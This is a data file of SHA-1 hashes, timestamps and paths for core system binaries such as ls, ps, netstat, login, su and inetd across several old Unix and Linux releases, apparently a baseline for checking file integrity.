+4F7719469820CE454672F8DDD45A5CB6A7924195 Sat Feb 21 05:35:03 2009 /usr/sbin/rcxinetd [SuSE 11.0] + +8D23FFFB481278F0A7D220240A3DA1C53A6DA751 Sat Dec 1 09:10:47 2007 /usr/bin/telnet [CentOS 5.5] +973A582775C20D9DBFFEC4835F9739CC03F15BB8 Thu Sep 3 18:09:22 2009 /usr/bin/find [CentOS 5.5] +E53412C0CD56C606DE2311006734726AD7D91D9B Wed Jan 20 10:43:02 2010 /bin/login [CentOS 5.5] +1FB124DBE184AA022A4FCEB33DA55396C64DAFAA Tue Jan 26 23:43:34 2010 /sbin/arp [CentOS 5.5] +EFDB1B03637D21BE62B56E29E0F4EF06A8C43E78 Tue Jan 26 23:43:34 2010 /bin/netstat [CentOS 5.5] +C1C4C38E77100879309D6F8B1E44524AA6489579 Sun Feb 28 22:33:18 2010 /bin/su [CentOS 5.5] +2C3DABE530EA6C96C8C78B9433761FDFC0EFE8BC Sun Feb 28 22:33:21 2010 /bin/rm [CentOS 5.5] +0B7E2707ACD3E461A78BCCBE307A4B198AB6AFE2 Sun Feb 28 22:33:21 2010 /bin/ls [CentOS 5.5] +283E83268D36ADE55513C75BEB71AD61471DD938 Wed Mar 31 04:53:48 2010 /usr/bin/w [CentOS 5.5] +E7A9D6DB9690B2B4E6CCD18F86B7017F467F7B39 Wed Mar 31 04:53:49 2010 /bin/ps [CentOS 5.5] +34BE10E984D663C454BF061CAF85C52D12BAA128 Wed Mar 31 07:08:49 2010 /sbin/modinfo [CentOS 5.5] +551F9D3712772E41276911372F45D7083A1A6035 Thu Jan 22 01:14:14 2009 /bin/sh [CentOS 5.5] + +B58B0557964A0041D5C9FB02A2AF1B72FFF42010 Thu Mar 15 03:49:08 2007 /usr/sbin/xinetd [CentOS 5.4 x86_64] +C84F18C9DC7FA44291CE72FF55D56FD05D32E3DA Sat Dec 1 09:10:50 2007 /usr/bin/telnet [CentOS 5.4 x86_64] +7BB5A4E7F1EAA315F25DE52E90FD59A6D0EC1B03 Sun May 25 06:26:25 2008 /sbin/arp [CentOS 5.4 x86_64] +C77A3C060753C093AD265A4FF5ABA50417286DE0 Sun May 25 06:26:25 2008 /bin/netstat [CentOS 5.4 x86_64] +10E485B2A78FFBF649997094B03F87BECA887CA8 Wed Jan 21 08:39:48 2009 /usr/bin/w [CentOS 5.4 x86_64] +89A4A0156366F50C66493B6833EDAE0E7E46ED0A Wed Jan 21 08:39:48 2009 /bin/ps [CentOS 5.4 x86_64] +2F8C163C1AC59FBF4325952D26B5D4BB6194237E Thu Sep 3 18:06:19 2009 /usr/bin/find [CentOS 5.4 x86_64] +CA9E466B6BEA44F8BC30461B26F7DF49E96D3B9C Thu Sep 3 19:52:31 2009 /bin/login [CentOS 5.4 x86_64] +4EED9155B85BE2FF22A591FAB85952F9B40670FD Thu Sep 3 22:21:57 2009 /bin/su [CentOS 5.4 x86_64] +1B7ABAAC9503E82298386DFE014B7C6007FEE6CB Thu Sep 3 22:22:05 2009 /bin/rm [CentOS 5.4 x86_64] +14A2CE9CBCF4B1FB416E2DF75185585972D0856A Thu Sep 3 22:22:05 2009 /bin/ls [CentOS 5.4 x86_64] +A57712E48D85F8EF8E1C447EE2780C3D416B181A Thu Sep 3 23:27:23 2009 /sbin/modinfo [CentOS 5.4 x86_64] +74D8D7E07EEFB84D57C45A7DDD682BA13E675761 Thu Jan 22 01:15:24 2009 /bin/sh [CentOS 5.4 x86_64] + +7E35987A1B03B968AD39CB8138AD664F464915EE Fri Nov 5 01:24:59 2004 /bin/ls [FreeBSD 5.3] +436A3539E4CCF9C86DB4FE08E867C5B41A38DB36 Fri Nov 5 01:24:59 2004 /bin/ps [FreeBSD 5.3] +FA7E9CC0FE132674A88490F1FE8134B043B28644 Fri Nov 5 01:25:00 2004 /bin/sh [FreeBSD 5.3] +8CEA87A69D31AE9EB5EEDE9AF647667A7CD5A9D4 Fri Nov 5 01:25:00 2004 /bin/rm [FreeBSD 5.3] +67C5FE81BE541AFE447C16DF687FD4E417BF5850 Fri Nov 5 01:26:44 2004 /usr/bin/su [FreeBSD 5.3] +2393EC4EAE20B879D9F6B6E66A9F5F6ED0C8EACE Fri Nov 5 01:26:39 2004 /usr/bin/login [FreeBSD 5.3] +AC2228D8E10599E1BB895B44ADD8707E97CC7B72 Fri Nov 5 01:26:41 2004 /usr/bin/netstat [FreeBSD 5.3] +A4A6F40D9E0EAFD86F344D2DAAEAB7778C27E224 Fri Nov 5 01:26:51 2004 /usr/sbin/arp [FreeBSD 5.3] +241E7B766A632247815E5F7D13F31D877BD63B59 Fri Nov 5 01:26:35 2004 /usr/bin/find [FreeBSD 5.3] +88BFE42EE021823779F73FB8C4F2535C8AE6705A Fri Nov 5 01:26:56 2004 /usr/sbin/inetd [FreeBSD 5.3] +F35B170FBA5186F35F035575B8E36C78447AD504 Fri Nov 5 01:26:44 2004 /usr/bin/telnet [FreeBSD 5.3] +958012F27E68B39B70B087AFA0F333402977E9FD Fri Nov 5 01:26:47 2004 /usr/bin/w [FreeBSD 5.3] + +44A52252554D2606C92B16524CD8B352F7620C39 Fri Sep 3 19:53:18 2004 /usr/sbin/inetd [Slackware 12.2] +6936E4BC9B71BFCA2C531BFD3D9BDB4F7EA8FD29 Wed Dec 20 00:07:25 2006 /usr/bin/w [Slackware 12.2] +E3C3C72A12AA36C26B1BA11BC974BF8DBB720457 Wed Dec 20 00:07:25 2006 /bin/ps [Slackware 12.2] +C36E494E5F3685951406CE95A1A44CA4BC161EF4 Mon Apr 30 04:34:50 2007 /usr/sbin/in.rshd [Slackware 12.2] +D9CA5386D69D3D0B70A03F2E3C840D25422F6750 Mon Apr 30 04:34:50 2007 /usr/sbin/in.rlogind [Slackware 12.2] +D20C2A1F8296B74AE0025575ABE049A6A10ABB13 Mon Apr 30 04:35:08 2007 /usr/sbin/in.telnetd [Slackware 12.2] +AEC49920D443B3CE76AC9A31290C6B1E6B3C2ACB Mon Apr 30 04:35:23 2007 /usr/sbin/in.tftpd [Slackware 12.2] +955B068F67220009F83898C85F84EC3540C92056 Mon Apr 30 04:35:12 2007 /bin/telnet [Slackware 12.2] +2682229AB42DD9FDB021EAA8B09AA2E9017D7818 Tue Jun 5 02:44:45 2007 /usr/bin/find [Slackware 12.2] +7A3B75A68497E18A37785B01058E4D1640ACBC1E Mon Mar 24 20:11:29 2008 /bin/su [Slackware 12.2] +1D1E3EDCAA3532F1FDAB35754E41E641A164E3BB Mon Mar 24 20:11:29 2008 /bin/login [Slackware 12.2] +75E1BE448DDB648B28CA30A869EA252DDAB079C7 Tue Apr 1 04:10:11 2008 /sbin/arp [Slackware 12.2] +8157C87589ADDA8E5D6835BC5350F57E384F779A Tue Apr 1 04:10:11 2008 /bin/netstat [Slackware 12.2] +FEDDC08C86401BFAF55AC6C7A6B7F85B54F2063B Sun Sep 21 03:18:56 2008 /bin/rm [Slackware 12.2] +6E428E7EA5D797DCCF3B3402B579C42110D4886A Sun Sep 21 03:18:56 2008 /bin/ls [Slackware 12.2] +26E644754720D4D9DF3445E2862420593621B08C Wed Oct 8 21:48:04 2008 /usr/sbin/vsftpd [Slackware 12.2] +855B67939F08D1CAB4ACCB607860D20470676ED4 Wed Oct 22 05:04:25 2008 /sbin/modinfo [Slackware 12.2] +7537FAEDCB834387F0EC1B3A301FBE8B58EE9DE6 Tue Nov 11 22:49:28 2008 /usr/sbin/obexftpd [Slackware 12.2] +09873A4DC9C0FF97A51F5F7A0601116AE0A11AF3 Fri Nov 14 23:45:09 2008 /usr/sbin/proftpd [Slackware 12.2] +89549B289527F571D9B8E65185A17F45CBF7EB94 Thu May 10 22:19:33 2007 /bin/sh [Slackware 12.2] +6E428E7EA5D797DCCF3B3402B579C42110D4886A Sun Sep 21 03:18:56 2008 /usr/bin/ls [Slackware 12.2] +FEDDC08C86401BFAF55AC6C7A6B7F85B54F2063B Sun Sep 21 03:18:56 2008 /usr/bin/rm [Slackware 12.2] +E3C3C72A12AA36C26B1BA11BC974BF8DBB720457 Wed Dec 20 00:07:25 2006 /usr/bin/ps [Slackware 12.2] +09873A4DC9C0FF97A51F5F7A0601116AE0A11AF3 Fri Nov 14 23:45:09 2008 /usr/sbin/in.proftpd [Slackware 12.2] + +52F4894C7EC7726691FADCF5D852C218E80BF1BB Mon Apr 14 10:18:35 2003 /usr/bin/login [Mandrake 9.2] +722F5F5CFA486934DEE9F7AD2E16CABD6ADA7E22 Wed Jul 23 18:40:57 2003 /sbin/arp [Mandrake 9.2] +DB99404B6D59871FC1891C6E56B2B7D35123C9A4 Wed Jul 23 18:40:57 2003 /bin/netstat [Mandrake 9.2] +FA53A6041F65D0DCADD188BB29846FCE6CBFC12D Sun Aug 3 21:31:40 2003 /bin/su [Mandrake 9.2] +269E201489864EC607B940F36A0EFA0F72CE76F9 Sun Aug 3 21:31:40 2003 /bin/rm [Mandrake 9.2] +0B501D2B977FEF0088FEDF11DBE749FC605053FF Sun Aug 3 21:31:40 2003 /bin/ls [Mandrake 9.2] +D88129931EE0ED1D16ACDBF5C2916F60DD2CD571 Mon Aug 4 20:23:59 2003 /bin/ps [Mandrake 9.2] +886749A4DD400447014994CF41725259085BD734 Mon Aug 4 20:23:59 2003 /usr/bin/w [Mandrake 9.2] +1A6DDD9F3784061F6DE3CE50A130115A142816BC Thu Aug 7 22:24:14 2003 /usr/sbin/proftpd [Mandrake 9.2] +7F6B6919D6FC6B4068370E73092739974D59358A Thu Aug 14 12:26:37 2003 /bin/login [Mandrake 9.2] +92F8FC3E9117F233803512467AB5177E56C7EE56 Mon Aug 18 16:28:06 2003 /bin/find [Mandrake 9.2] +66DD933F3016335A3EF9CB79A410453BAE5D0F4B Wed Sep 3 08:45:34 2003 /usr/bin/telnet [Mandrake 9.2] +002FC72FD425F78AE50BE909406925D365771DF0 Mon Jul 7 16:01:35 2003 /bin/sh [Mandrake 9.2] +92F8FC3E9117F233803512467AB5177E56C7EE56 Mon Aug 18 16:28:06 2003 /usr/bin/find [Mandrake 9.2] +21202144A414DB48BF4375C91469F48ACD637964 Fri Aug 29 14:21:05 2003 /sbin/modinfo [Mandrake 9.2] +4C593EF78D4CB4A5B9A74A51803FEAAABF78FC65 Tue Jul 15 21:14:36 2003 /usr/sbin/xinetd [Mandrake 9.2] +1A6DDD9F3784061F6DE3CE50A130115A142816BC Thu Aug 7 22:24:14 2003 /usr/sbin/in.ftpd [Mandrake 9.2] +1A6DDD9F3784061F6DE3CE50A130115A142816BC Thu Aug 7 22:24:14 2003 /usr/sbin/in.proftpd [Mandrake 9.2] + +570892D29E2841BE4A4CE2DCB4BC82765E725330 Sat Apr 6 22:48:57 2002 /bin/find [Solaris 2.9 Generic_122300-57] +570892D29E2841BE4A4CE2DCB4BC82765E725330 Sat Apr 6 22:48:57 2002 /usr/bin/find [Solaris 2.9 Generic_122300-57] +9734B51596B23BC737BACD9B5B92995E3D9F29BD Sat Apr 6 22:54:41 2002 /bin/ls [Solaris 2.9 Generic_122300-57] +9734B51596B23BC737BACD9B5B92995E3D9F29BD Sat Apr 6 22:54:41 2002 /usr/bin/ls [Solaris 2.9 Generic_122300-57] +BB95633DAE430C11071602962D09624C1D7EE943 Sat Apr 6 22:55:34 2002 /usr/bin/sparcv9/ls [Solaris 2.9 Generic_122300-57] +34174F5C3EF0844676AEC8751A41C39968633E5C Sat Apr 6 22:59:18 2002 /usr/sbin/modinfo [Solaris 2.9 Generic_122300-57] +D420D0D50AE151063A670D3B025D90CA0A08117D Sat Apr 6 23:02:03 2002 /usr/sbin/arp [Solaris 2.9 Generic_122300-57] +1A47EE8059E33D1BF8C062320FA60AEDB69C47D2 Sat Apr 6 23:02:06 2002 /usr/sbin/in.rlogind [Solaris 2.9 Generic_122300-57] +AF56C1CE8765671A069F417B4B50088EE219B05A Sat Apr 6 23:02:06 2002 /usr/sbin/in.rshd [Solaris 2.9 Generic_122300-57] +950715ABC9A55EAB0281DC0653ECD10D59DAEB50 Sat Apr 6 23:26:46 2002 /usr/ucb/ls [Solaris 2.9 Generic_122300-57] +11D4BCBE80378D06231A08CA862751F04BA5A081 Thu May 23 20:32:30 2002 /bin/netstat [Solaris 2.9 Generic_122300-57] +11D4BCBE80378D06231A08CA862751F04BA5A081 Thu May 23 20:32:30 2002 /usr/bin/netstat [Solaris 2.9 Generic_122300-57] +0AA8C6ABE3810F5B8CF26A40306358C04CE843DF Mon Dec 9 20:55:56 2002 /usr/sbin/in.tftpd [Solaris 2.9 Generic_122300-57] +25F7FC99B5B0F01A6AA1A0D7B2B495330C4C2E99 Thu Mar 6 04:37:19 2003 /usr/sbin/in.telnetd [Solaris 2.9 Generic_122300-57] +CAEC4FCB85518991F772011CC50CDAE80260FB56 Mon Sep 8 06:47:36 2003 /usr/bin/sparcv7/ps [Solaris 2.9 Generic_122300-57] +800DBC8FB83CB036CED9E17835C8DE45386894E4 Mon Sep 8 06:47:36 2003 /usr/bin/sparcv9/ps [Solaris 2.9 Generic_122300-57] +C948A5D3E921353B832078BF42BD3397FBFCB118 Tue Nov 4 21:59:32 2003 /bin/ps [Solaris 2.9 Generic_122300-57] +C948A5D3E921353B832078BF42BD3397FBFCB118 Tue Nov 4 21:59:32 2003 /bin/w [Solaris 2.9 Generic_122300-57] +C948A5D3E921353B832078BF42BD3397FBFCB118 Tue Nov 4 21:59:32 2003 /usr/bin/ps [Solaris 2.9 Generic_122300-57] +C948A5D3E921353B832078BF42BD3397FBFCB118 Tue Nov 4 21:59:32 2003 /usr/bin/w [Solaris 2.9 Generic_122300-57] +C948A5D3E921353B832078BF42BD3397FBFCB118 Tue Nov 4 21:59:32 2003 /usr/ucb/ps [Solaris 2.9 Generic_122300-57] +5C447935AD0E85CA9D1A98E2600A2D376619290E Fri Mar 25 23:15:29 2005 /bin/telnet [Solaris 2.9 Generic_122300-57] +5C447935AD0E85CA9D1A98E2600A2D376619290E Fri Mar 25 23:15:29 2005 /usr/bin/telnet [Solaris 2.9 Generic_122300-57] +2C626604616B384F27AB7D365886EC938590585D Fri Dec 22 18:19:51 2006 /bin/rm [Solaris 2.9 Generic_122300-57] +2C626604616B384F27AB7D365886EC938590585D Fri Dec 22 18:19:51 2006 /usr/bin/rm [Solaris 2.9 Generic_122300-57] +F377D6A27913141B0DA0C0662C528EAF39E52FA2 Tue Sep 14 15:23:59 2010 /sbin/su [Solaris 2.9 Generic_122300-57] +C948A5D3E921353B832078BF42BD3397FBFCB118 Tue Nov 4 21:59:32 2003 /usr/ucb/w [Solaris 2.9 Generic_122300-57] +5C447935AD0E85CA9D1A98E2600A2D376619290E Fri Mar 25 23:15:29 2005 /usr/ucb/telnet [Solaris 2.9 Generic_122300-57] +11D4BCBE80378D06231A08CA862751F04BA5A081 Thu May 23 20:32:30 2002 /usr/ucb/netstat [Solaris 2.9 Generic_122300-57] +7327B91B54D00D04DDFA297300C19B6B3215D65C Thu Jul 16 19:44:13 2009 /sbin/sh [Solaris 2.9 Generic_122300-57] +1CD7180A217D075BFFD7DDC73EDCCED26F51877F Thu Jul 16 19:44:14 2009 /bin/sh [Solaris 2.9 Generic_122300-57] +1CD7180A217D075BFFD7DDC73EDCCED26F51877F Thu Jul 16 19:44:14 2009 /usr/bin/sh [Solaris 2.9 Generic_122300-57] +DB18BBEEAE84057CE17058EA530840B420726984 Thu Oct 15 18:52:12 2009 /usr/bin/sparcv7/w [Solaris 2.9 Generic_122300-57] +E96A134867CBBAC9DF581173F1C96D7D1C587DA1 Thu Oct 15 18:52:13 2009 /usr/bin/sparcv9/w [Solaris 2.9 Generic_122300-57] +07B709EDFB80A465C801ACA888BE558C30919CFB Fri Feb 19 00:43:48 2010 /bin/login [Solaris 2.9 Generic_122300-57] +07B709EDFB80A465C801ACA888BE558C30919CFB Fri Feb 19 00:43:48 2010 /usr/bin/login [Solaris 2.9 Generic_122300-57] +F377D6A27913141B0DA0C0662C528EAF39E52FA2 Tue Sep 14 15:23:59 2010 /bin/su [Solaris 2.9 Generic_122300-57] +F377D6A27913141B0DA0C0662C528EAF39E52FA2 Tue Sep 14 15:23:59 2010 /usr/bin/su [Solaris 2.9 Generic_122300-57] +6DF004818689E5F2B051DBEA2AC61548650DCB86 Tue Nov 16 14:30:17 2010 /usr/sbin/in.ftpd [Solaris 2.9 Generic_122300-57] +1DB5844141456D33DFCA29715A95DC10CED5A7D0 Wed Feb 16 13:35:34 2011 /usr/sbin/inetd [Solaris 2.9 Generic_122300-57] + +D3FB51754D2B898A2217F6BCFB79F7D1D9A50D67 Wed Jan 5 23:51:20 2000 /bin/ps [Solaris 2.8 Generic_127721-03] +D3FB51754D2B898A2217F6BCFB79F7D1D9A50D67 Wed Jan 5 23:51:20 2000 /bin/w [Solaris 2.8 Generic_127721-03] +D3FB51754D2B898A2217F6BCFB79F7D1D9A50D67 Wed Jan 5 23:51:20 2000 /usr/bin/ps [Solaris 2.8 Generic_127721-03] +D3FB51754D2B898A2217F6BCFB79F7D1D9A50D67 Wed Jan 5 23:51:20 2000 /usr/bin/w [Solaris 2.8 Generic_127721-03] +D3FB51754D2B898A2217F6BCFB79F7D1D9A50D67 Wed Jan 5 23:51:20 2000 /usr/ucb/ps [Solaris 2.8 Generic_127721-03] +37C4C703D48470CA5F2E87C45BE4303DF9535486 Wed Jan 5 23:57:54 2000 /bin/ls [Solaris 2.8 Generic_127721-03] +37C4C703D48470CA5F2E87C45BE4303DF9535486 Wed Jan 5 23:57:54 2000 /usr/bin/ls [Solaris 2.8 Generic_127721-03] +7005902DED0729B0D8FD779776C9960E1D325B55 Wed Jan 5 23:58:41 2000 /usr/bin/sparcv9/ls [Solaris 2.8 Generic_127721-03] +72D4298093B2D3462B845B9D02C510E929D8BCCC Wed Jan 5 23:59:21 2000 /usr/sbin/modinfo [Solaris 2.8 Generic_127721-03] +067E63DE5F6214676CB4365B52D595945AE97407 Thu Jan 6 00:01:56 2000 /usr/sbin/arp [Solaris 2.8 Generic_127721-03] +13D6EF6B6BFD3CB7504B85268E60D065718DCF79 Thu Jan 6 00:01:58 2000 /usr/sbin/in.rlogind [Solaris 2.8 Generic_127721-03] +A6B18856F46CA11062DF0ED3AB5703F954ECC676 Thu Jan 6 00:25:47 2000 /usr/bin/sparcv7/w [Solaris 2.8 Generic_127721-03] +323BE0CD635205AC53B69E6881C965C35E84DB5E Thu Jan 6 00:26:03 2000 /usr/bin/sparcv9/w [Solaris 2.8 Generic_127721-03] +CBE9EB8E6B177427966B1A90D64FDAF2AABF388B Thu Jan 6 00:32:28 2000 /usr/ucb/ls [Solaris 2.8 Generic_127721-03] +A8A04A41CAB387985D5333B245455E5DFD3A1F88 Thu May 24 23:55:57 2001 /usr/sbin/in.rshd [Solaris 2.8 Generic_127721-03] +CB668D194216860242216761C4917D47C9B777C0 Fri Jul 27 21:11:44 2001 /bin/find [Solaris 2.8 Generic_127721-03] +CB668D194216860242216761C4917D47C9B777C0 Fri Jul 27 21:11:44 2001 /usr/bin/find [Solaris 2.8 Generic_127721-03] +549FE73629FEB57ADBE490E7EDBE61D30CB04A65 Tue Jan 6 19:44:10 2004 /bin/netstat [Solaris 2.8 Generic_127721-03] +549FE73629FEB57ADBE490E7EDBE61D30CB04A65 Tue Jan 6 19:44:10 2004 /usr/bin/netstat [Solaris 2.8 Generic_127721-03] +D3D7A2DD9825C98D3FD241122F373327A03BBE7E Sat Mar 26 03:42:12 2005 /usr/sbin/in.telnetd [Solaris 2.8 Generic_127721-03] +88AFB1BF89576D4ED1E35F0FD8C1D2650A8AC85F Sat Mar 26 03:42:12 2005 /bin/telnet [Solaris 2.8 Generic_127721-03] +88AFB1BF89576D4ED1E35F0FD8C1D2650A8AC85F Sat Mar 26 03:42:12 2005 /usr/bin/telnet [Solaris 2.8 Generic_127721-03] +F03B7A36BB1FFF5FB22F04D9C8A7D115A59CA723 Sun Jan 14 18:55:41 2007 /bin/rm [Solaris 2.8 Generic_127721-03] +F03B7A36BB1FFF5FB22F04D9C8A7D115A59CA723 Sun Jan 14 18:55:41 2007 /usr/bin/rm [Solaris 2.8 Generic_127721-03] +E8130AFC15EDD9DAB7FEB88FAF1B60FC101D6EEE Thu Mar 22 15:44:09 2007 /usr/bin/sparcv7/ps [Solaris 2.8 Generic_127721-03] +35F8C367F8D20870C63C4B539750E94A0DEBE64B Thu Mar 22 15:44:09 2007 /usr/bin/sparcv9/ps [Solaris 2.8 Generic_127721-03] +A3138279F8A9AB24F572D91D8306DCEB6F7E6B50 Mon Jun 11 16:56:41 2007 /usr/sbin/in.ftpd [Solaris 2.8 Generic_127721-03] +A37F4C91A16FC3550C36CC7B0B48DAC25943EC54 Fri Feb 13 22:38:34 2009 /sbin/su [Solaris 2.8 Generic_127721-03] +D3FB51754D2B898A2217F6BCFB79F7D1D9A50D67 Wed Jan 5 23:51:20 2000 /usr/ucb/w [Solaris 2.8 Generic_127721-03] +88AFB1BF89576D4ED1E35F0FD8C1D2650A8AC85F Sat Mar 26 03:42:12 2005 /usr/ucb/telnet [Solaris 2.8 Generic_127721-03] +549FE73629FEB57ADBE490E7EDBE61D30CB04A65 Tue Jan 6 19:44:10 2004 /usr/ucb/netstat [Solaris 2.8 Generic_127721-03] +15EE04241933197D6C441463D346101447454A87 Tue Apr 8 18:22:52 2008 /sbin/sh [Solaris 2.8 Generic_127721-03] +650FEAD4F2388D7C07BF47EC4BEAEE6B4AF524D6 Tue Apr 8 18:22:52 2008 /bin/sh [Solaris 2.8 Generic_127721-03] +650FEAD4F2388D7C07BF47EC4BEAEE6B4AF524D6 Tue Apr 8 18:22:52 2008 /usr/bin/sh [Solaris 2.8 Generic_127721-03] +8E2FE6165F4AAA354AC91D4DB54EC25E5BC3AE0C Tue Jul 8 15:37:27 2008 /usr/sbin/in.tftpd [Solaris 2.8 Generic_127721-03] +68867C11C7708122935BD117C22EF3AFC5CC3110 Fri Feb 13 22:38:33 2009 /bin/login [Solaris 2.8 Generic_127721-03] +68867C11C7708122935BD117C22EF3AFC5CC3110 Fri Feb 13 22:38:33 2009 /usr/bin/login [Solaris 2.8 Generic_127721-03] +A37F4C91A16FC3550C36CC7B0B48DAC25943EC54 Fri Feb 13 22:38:34 2009 /bin/su [Solaris 2.8 Generic_127721-03] +A37F4C91A16FC3550C36CC7B0B48DAC25943EC54 Fri Feb 13 22:38:34 2009 /usr/bin/su [Solaris 2.8 Generic_127721-03] +C0F7BCEB0FCFA44DE9C2687CD2B94C98444ED581 Thu Mar 12 21:35:15 2009 /usr/sbin/inetd [Solaris 2.8 Generic_127721-03] + +C3E45676811E9AA0E356146E55BBED7784F06AD8 Wed Dec 6 15:13:07 2006 /usr/sbin/xinetd [RedHat Enterprise 5.5 x86_64] +1FD4FD4DF3CB3B325AFFCE62705F3F2726DFD7C4 Wed Oct 24 14:05:10 2007 /usr/bin/telnet [RedHat Enterprise 5.5 x86_64] +748CECD7B02E6957D932BA90F7D990A8F1FD0A73 Tue May 19 13:50:46 2009 /usr/sbin/in.tftpd [RedHat Enterprise 5.5 x86_64] +0A3503F446248683BE2703D8EEA27CA25A67F1F2 Tue Jul 14 10:31:43 2009 /usr/bin/find [RedHat Enterprise 5.5 x86_64] +D2F14175B62192186F706E193FD0EB7C31CD962E Thu Nov 19 14:21:03 2009 /sbin/arp [RedHat Enterprise 5.5 x86_64] +59F5D0DAA4EC04BB4CA8C5FF5D1F1195B26C686E Thu Nov 19 14:21:03 2009 /bin/netstat [RedHat Enterprise 5.5 x86_64] +0F305BCBBC9561BC47AD01F22A38F44964622827 Tue Dec 15 19:36:55 2009 /sbin/modinfo [RedHat Enterprise 5.5 x86_64] +A560799A944C6CFE572A3F683031F8206812DFF3 Thu Jan 7 10:25:51 2010 /bin/login [RedHat Enterprise 5.5 x86_64] +05FE6696D113C606F62191BB30C7F435AF029025 Tue Feb 9 09:59:28 2010 /usr/bin/w [RedHat Enterprise 5.5 x86_64] +BA88642C5DED9BD53E00E1B7DBB7058707DFEEA9 Tue Feb 9 09:59:28 2010 /bin/ps [RedHat Enterprise 5.5 x86_64] +F02C9A43F7682CC89D0ACCDDFEAE26CF9AB28299 Tue Feb 23 09:53:57 2010 /bin/su [RedHat Enterprise 5.5 x86_64] +F4F6EC2D52984D5FAE013F34BE3BCDC931A59636 Tue Feb 23 09:54:02 2010 /bin/rm [RedHat Enterprise 5.5 x86_64] +2234D4656C881EA863D032809B52A3171DDCEF86 Tue Feb 23 09:54:02 2010 /bin/ls [RedHat Enterprise 5.5 x86_64] +7CE222EE5310BC2D3164A23A87CBCB90C4A67CDB Tue Oct 21 12:13:18 2008 /bin/sh [RedHat Enterprise 5.5 x86_64] + +653F929CFB6DD275736B887C5D6C460D437A9650 Sat Feb 21 01:23:19 2009 /usr/bin/telnet [SuSE Enterprise 11.1 x86_64] +8985A2CB3E370CE2872555A7A991C7D8590D1DF7 Sat Feb 21 07:45:58 2009 /usr/bin/opieftpd [SuSE Enterprise 11.1 x86_64] +8A48A0454A1AB0B75F7ADC11BF4B9C7402EE17B0 Sat Feb 21 07:49:50 2009 /bin/su [SuSE Enterprise 11.1 x86_64] +4B0FC111479E3EAA04AD959BCC4A37B2E72273D2 Sat Feb 21 07:49:50 2009 /bin/rm [SuSE Enterprise 11.1 x86_64] +F73A500A96B63BC0B720C21AAC72B0C63589F03F Sat Feb 21 07:49:50 2009 /bin/ls [SuSE Enterprise 11.1 x86_64] +6B3F64E95EEEAEA23CF5B36E649C64F4AF94F5DB Wed May 5 13:59:15 2010 /sbin/modinfo [SuSE Enterprise 11.1 x86_64] +EA2317DA923E34CA431C6E4266DF37C4A4AA9640 Wed May 5 14:01:33 2010 /usr/bin/find [SuSE Enterprise 11.1 x86_64] +BEEAB7307CC9B415581C60B12EF08E634A198998 Wed May 5 14:02:41 2010 /usr/bin/w [SuSE Enterprise 11.1 x86_64] +DB3A42F99442B3CFFA83541FFE7EE4E685850B66 Wed May 5 14:02:41 2010 /bin/ps [SuSE Enterprise 11.1 x86_64] +9168D1477DCC15F20A94E7472A7316C838FA9E03 Wed May 5 14:03:34 2010 /sbin/arp [SuSE Enterprise 11.1 x86_64] +3199CC970AF6BE3D23A48D726D4DBE2208BF56A6 Wed May 5 14:03:34 2010 /bin/netstat [SuSE Enterprise 11.1 x86_64] +3A66D9D9FEBA2C79081293F8EEE99A2A03381BEC Wed May 5 14:08:18 2010 /usr/sbin/xinetd [SuSE Enterprise 11.1 x86_64] +0E8AAD78A1AF5CEE13F761A08A2511C76B688253 Sat May 8 09:35:29 2010 /bin/login [SuSE Enterprise 11.1 x86_64] +A5BD0049BF6B6DF94565089EA7B2E74DC08577D4 Wed May 5 14:02:20 2010 /bin/sh [SuSE Enterprise 11.1 x86_64] +A5BD0049BF6B6DF94565089EA7B2E74DC08577D4 Wed May 5 14:02:20 2010 /usr/bin/sh [SuSE Enterprise 11.1 x86_64] +245C64AB0E7D074B2BA9460EA687EBBA116F2F60 Wed May 5 14:08:18 2010 /usr/sbin/rcxinetd [SuSE Enterprise 11.1 x86_64] + +1712E39DC94B53300FE64CEB0AA68DC701F0E65C Sun Jan 23 01:29:11 2005 /usr/ucb/ls [Solaris 2.10 Generic_127127-11] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /bin/login [Solaris 2.10 Generic_127127-11] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /usr/bin/login [Solaris 2.10 Generic_127127-11] +28DA2190D32FA5CD6D98ED027BCB1A3300DFBBF3 Sun Jan 23 01:48:13 2005 /usr/bin/sparcv9/w [Solaris 2.10 Generic_127127-11] +97FC02858FEBC1A825229662492EF8FB1844832F Sun Jan 23 01:48:44 2005 /usr/sbin/sparcv9/modinfo [Solaris 2.10 Generic_127127-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/ps [Solaris 2.10 Generic_127127-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/w [Solaris 2.10 Generic_127127-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/ps [Solaris 2.10 Generic_127127-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/w [Solaris 2.10 Generic_127127-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/sbin/modinfo [Solaris 2.10 Generic_127127-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/ps [Solaris 2.10 Generic_127127-11] +D40185C7CD0B410E40D08B7FCB7739BE6ACA6601 Sun Jan 23 02:21:25 2005 /usr/sbin/in.tftpd [Solaris 2.10 Generic_127127-11] +718E99FBACB8211B13D39B3D4E9EC965A523097C Tue May 24 23:40:26 2005 /bin/su [Solaris 2.10 Generic_127127-11] +718E99FBACB8211B13D39B3D4E9EC965A523097C Tue May 24 23:40:26 2005 /usr/bin/su [Solaris 2.10 Generic_127127-11] +B9E23B1A737E898C1ADFDFBD5D0F077E4B0B1ED0 Fri Apr 28 20:26:49 2006 /bin/ls [Solaris 2.10 Generic_127127-11] +B9E23B1A737E898C1ADFDFBD5D0F077E4B0B1ED0 Fri Apr 28 20:26:49 2006 /usr/bin/ls [Solaris 2.10 Generic_127127-11] +22E2CCB085D982AD731E643544541855F2ABACA6 Fri Apr 28 20:26:49 2006 /bin/find [Solaris 2.10 Generic_127127-11] +22E2CCB085D982AD731E643544541855F2ABACA6 Fri Apr 28 20:26:49 2006 /usr/bin/find [Solaris 2.10 Generic_127127-11] +4989A29E7D2FC088766950845F9CA3044866BD1C Fri 